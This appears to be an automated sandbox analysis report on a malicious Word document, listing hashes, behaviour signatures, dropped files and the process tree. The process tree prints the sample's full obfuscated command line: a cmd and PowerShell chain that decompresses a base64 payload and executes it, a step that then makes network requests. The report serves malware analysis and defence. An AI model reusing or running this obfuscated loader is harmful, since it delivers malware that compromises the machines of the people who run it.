Analysis

  • max time kernel
    125s
  • max time network
    134s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-09-2024 04:26

General

  • Target

    fb805a5139efa1580dae6829b24b7078_JaffaCakes118.doc

  • Size

    75KB

  • MD5

    fb805a5139efa1580dae6829b24b7078

  • SHA1

    0d13a6d0c94b946882de78c7e6507b76e650033d

  • SHA256

    94de7534a45275daa06e0189c6bd06ca41176b3da93303b5fae677ae92cbb92d

  • SHA512

    565189a818df059c69c417361ec86a7bfe9c1bdf0628fbef1aeefcdd6bc5e59c3a7f29e1e60ae21ddea3f88ec232fa5f56661401452549cb3fc9fcbad17ff2a4

  • SSDEEP

    768:0cWVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o9k2p1qrOhdrCv+Y:0pocn1kp59gxBK85fBt+a9yOhg

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\fb805a5139efa1580dae6829b24b7078_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2464
    • C:\Windows\SYSTEM32\CMD.exe
      CMD cMd.ExE /C "SeT mPQT=. ( $psHome[4]+$PShomE[30]+'X') (NEw-ObjEcT Io.cOMpRESsION.DefLAtesTREAm([SYstem.Io.mEMorYstREAm] [SYStEM.cOnvErT]::FRoMbASE64sTriNG('NZDRTgIxEEV/ZR+alA3SxicNzSYkiBskggYTNfGllMGtdDt1W7Yi2X+3S+T1nsmZO0MWD2VhIY5w8wUqZEsI7BU2U6PBBkG+1aKgVQhuzLnRaCuswR99gJpVB/64fts5P/nnMUbm0RzRMoU1kw2XzxfWKmx8UifAoxsptCH5+cEZlFvPn1pXXkY/vTRJIYG790u2xVpbPO806ne6mpWUrZ3RYUAnNBdkXb5kRUZvbq+pIFGvCgK2HaeWbkg/6LDnQ8rgB6jYYQNSVQOynMVM26w/MT+F5ngi6RXsDqPtO91rA+eZq6wX5mJuW9zDaJ6k50RskmcvOiWDqk5d9wc='), [systeM.Io.COMpResSiOn.coMPREsSiOnMoDE]::dECoMPrEss) ^| fOrEaCH-oBJEcT{NEw-ObjEcT SyStEm.io.StrEAmReAdER( $_ , [TExt.EncODing]::AsciI )} ).ReaDtOeNd( ) && PoWerSHelL Set-item ( 'va' +'RIablE:MY' + 'A' ) ([tYPe]( \"{0}{2}{3}{1}\" -F'E','eNt','n','viRONM' ) ) ; ( $MYa::( \"{0}{1}{3}{5}{2}{6}{4}\"-f 'GETENv','Ir','Ent','On','RIaBLe','m','vA' ).Invoke( ( \"{1}{0}\"-f 'qt','Mp' ),(\"{0}{2}{1}\" -f'pR','s','OCES' ) )) ^| ^& ( ( ^&( \"{1}{2}{0}\"-f 'le','v','ARiab') ( \"{0}{1}\" -f '*mdR','*' )).\"N`AMe\"[3,11,2]-join'' )"
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4852
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        PoWerSHelL Set-item ( 'va' +'RIablE:MY' + 'A' ) ([tYPe]( \"{0}{2}{3}{1}\" -F'E','eNt','n','viRONM' ) ) ; ( $MYa::( \"{0}{1}{3}{5}{2}{6}{4}\"-f 'GETENv','Ir','Ent','On','RIaBLe','m','vA' ).Invoke( ( \"{1}{0}\"-f 'qt','Mp' ),(\"{0}{2}{1}\" -f'pR','s','OCES' ) )) | & ( ( &( \"{1}{2}{0}\"-f 'le','v','ARiab') ( \"{0}{1}\" -f '*mdR','*' )).\"N`AMe\"[3,11,2]-join'' )
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1660
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=3932,i,4356837537417149674,16553092232944545509,262144 --variations-seed-version --mojo-platform-channel-handle=4160 /prefetch:8
    1⤵
      PID:5068

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\781.exe

      Filesize

      45KB

      MD5

      adc8c48a803eb871090c74ef28d0edb5

      SHA1

      c033b5766561f389543279ee1d3193ad2a05c544

      SHA256

      5ea545999380810c63f3a2e643cb2cc09671e42e089007750982c301e5e2a486

      SHA512

      d9f11074763cd6d78194f63476ea3513f58c10745fa63d9533e68941743ebd2203033e438349f48aff91ac18c11988592fd936854f4f0c472d6885125bb68675

    • C:\Users\Admin\AppData\Local\Temp\TCD87CC.tmp\gb.xsl

      Filesize

      262KB

      MD5

      51d32ee5bc7ab811041f799652d26e04

      SHA1

      412193006aa3ef19e0a57e16acf86b830993024a

      SHA256

      6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

      SHA512

      5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tivodcrk.3hd.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

      Filesize

      2B

      MD5

      f3b25701fe362ec84616a93a45ce9998

      SHA1

      d62636d8caec13f04e28442a0a6fa1afeb024bbb

      SHA256

      b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

      SHA512

      98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

    • memory/1660-46-0x00000218CFF80000-0x00000218CFFA2000-memory.dmp

      Filesize

      136KB

    • memory/2464-28-0x00007FFAE6130000-0x00007FFAE6325000-memory.dmp

      Filesize

      2.0MB

    • memory/2464-34-0x00007FFAE6130000-0x00007FFAE6325000-memory.dmp

      Filesize

      2.0MB

    • memory/2464-12-0x00007FFAE6130000-0x00007FFAE6325000-memory.dmp

      Filesize

      2.0MB

    • memory/2464-14-0x00007FFAE6130000-0x00007FFAE6325000-memory.dmp

      Filesize

      2.0MB

    • memory/2464-15-0x00007FFAA56D0000-0x00007FFAA56E0000-memory.dmp

      Filesize

      64KB

    • memory/2464-16-0x00007FFAE6130000-0x00007FFAE6325000-memory.dmp

      Filesize

      2.0MB

    • memory/2464-13-0x00007FFAE6130000-0x00007FFAE6325000-memory.dmp

      Filesize

      2.0MB

    • memory/2464-10-0x00007FFAE6130000-0x00007FFAE6325000-memory.dmp

      Filesize

      2.0MB

    • memory/2464-9-0x00007FFAE6130000-0x00007FFAE6325000-memory.dmp

      Filesize

      2.0MB

    • memory/2464-8-0x00007FFAE6130000-0x00007FFAE6325000-memory.dmp

      Filesize

      2.0MB

    • memory/2464-6-0x00007FFAE6130000-0x00007FFAE6325000-memory.dmp

      Filesize

      2.0MB

    • memory/2464-5-0x00007FFAA61B0000-0x00007FFAA61C0000-memory.dmp

      Filesize

      64KB

    • memory/2464-17-0x00007FFAA56D0000-0x00007FFAA56E0000-memory.dmp

      Filesize

      64KB

    • memory/2464-0-0x00007FFAA61B0000-0x00007FFAA61C0000-memory.dmp

      Filesize

      64KB

    • memory/2464-35-0x00007FFAE6130000-0x00007FFAE6325000-memory.dmp

      Filesize

      2.0MB

    • memory/2464-11-0x00007FFAE6130000-0x00007FFAE6325000-memory.dmp

      Filesize

      2.0MB

    • memory/2464-7-0x00007FFAE6130000-0x00007FFAE6325000-memory.dmp

      Filesize

      2.0MB

    • memory/2464-3-0x00007FFAE61CD000-0x00007FFAE61CE000-memory.dmp

      Filesize

      4KB

    • memory/2464-4-0x00007FFAA61B0000-0x00007FFAA61C0000-memory.dmp

      Filesize

      64KB

    • memory/2464-2-0x00007FFAA61B0000-0x00007FFAA61C0000-memory.dmp

      Filesize

      64KB

    • memory/2464-71-0x00007FFAE6130000-0x00007FFAE6325000-memory.dmp

      Filesize

      2.0MB

    • memory/2464-72-0x00007FFAE6130000-0x00007FFAE6325000-memory.dmp

      Filesize

      2.0MB

    • memory/2464-73-0x00007FFAE6130000-0x00007FFAE6325000-memory.dmp

      Filesize

      2.0MB

    • memory/2464-74-0x00007FFAE6130000-0x00007FFAE6325000-memory.dmp

      Filesize

      2.0MB

    • memory/2464-77-0x00007FFAE6130000-0x00007FFAE6325000-memory.dmp

      Filesize

      2.0MB

    • memory/2464-1-0x00007FFAA61B0000-0x00007FFAA61C0000-memory.dmp

      Filesize

      64KB

    • memory/2464-576-0x00007FFAA61B0000-0x00007FFAA61C0000-memory.dmp

      Filesize

      64KB

    • memory/2464-577-0x00007FFAA61B0000-0x00007FFAA61C0000-memory.dmp

      Filesize

      64KB

    • memory/2464-579-0x00007FFAA61B0000-0x00007FFAA61C0000-memory.dmp

      Filesize

      64KB

    • memory/2464-578-0x00007FFAA61B0000-0x00007FFAA61C0000-memory.dmp

      Filesize

      64KB

    • memory/2464-580-0x00007FFAE6130000-0x00007FFAE6325000-memory.dmp

      Filesize

      2.0MB